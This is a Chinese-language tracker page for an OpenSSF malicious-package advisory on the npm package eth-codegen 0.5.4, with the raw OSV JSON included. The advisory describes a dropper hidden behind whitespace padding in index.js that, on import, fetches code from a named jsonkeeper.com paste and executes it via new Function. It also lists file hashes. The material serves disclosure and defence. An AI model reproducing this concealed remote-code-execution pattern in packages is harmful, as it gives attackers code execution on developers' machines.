目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

eth-codegen

MAL-2026-12371
2026-08-05 12:58:43
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in eth-codegen (npm)

文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
0
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmeth-codegen0.5.4
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-08-05T12:58:43Z","published":"2026-08-05T12:58:43Z","schema_version":"1.7.4","id":"MAL-2026-12371","summary":"Malicious code in eth-codegen (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c111948c855e4133fbd037c268523a2118038ca498e9bdba1c743d4ee77f24bc)\nThe package advertises itself as an Ethereum codegen utility but its actual contents are an unrelated mongoose leanhooks plugin plus a hidden dropper. index.js appends an async runHandler() concealed after ~1KB of whitespace padding following the `module.exports = leanhooksPlugin;` line. On require, runHandler() performs `axios.get('https://www.jsonkeeper.com/b/VYFER')`, then passes the response's `cookie` field to `new Function('require',...)` and invokes it with the installer's `require`. jsonkeeper.com is an anonymous, mutable paste host controlled by whoever created the paste, giving that party arbitrary code execution in the installer's Node process every time the package is imported. The whitespace concealment plus cover-story package name/description are deliberate evasion.\n","affected":[{"package":{"ecosystem":"npm","name":"eth-codegen"},"versions":["0.5.4"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"index.js","sha256":"d64e6702f4d128a917c69697382aa5ff32c2243edb869c8fda082c10edfb4a01","tlsh":"2661aa7865bad601a53332f18cfa1246da75c037054a90d9fcaec2d4ab30814196fff8"}],"package_integrity":[{"filename":"eth-codegen-0.5.4.tgz","hashes":{"sha1":"af5f30de95519238844281eaf394901177d50572","sha512_sri":"sha512-rOdfnxGrFWzJ/2LIIfC8NkgIn5r1LVg3yefosSZuq0F5Q14w+3mRU/GHLBr9b4iCQ46asaA66WF3FKUHxIv5iQ=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/eth-codegen/v/0.5.4"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-014832","import_time":"2026-08-05T13:08:49.873312681Z","modified_time":"2026-08-05T12:58:43Z","sha256":"c111948c855e4133fbd037c268523a2118038ca498e9bdba1c743d4ee77f24bc","source":"amazon-inspector","versions":["0.5.4"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0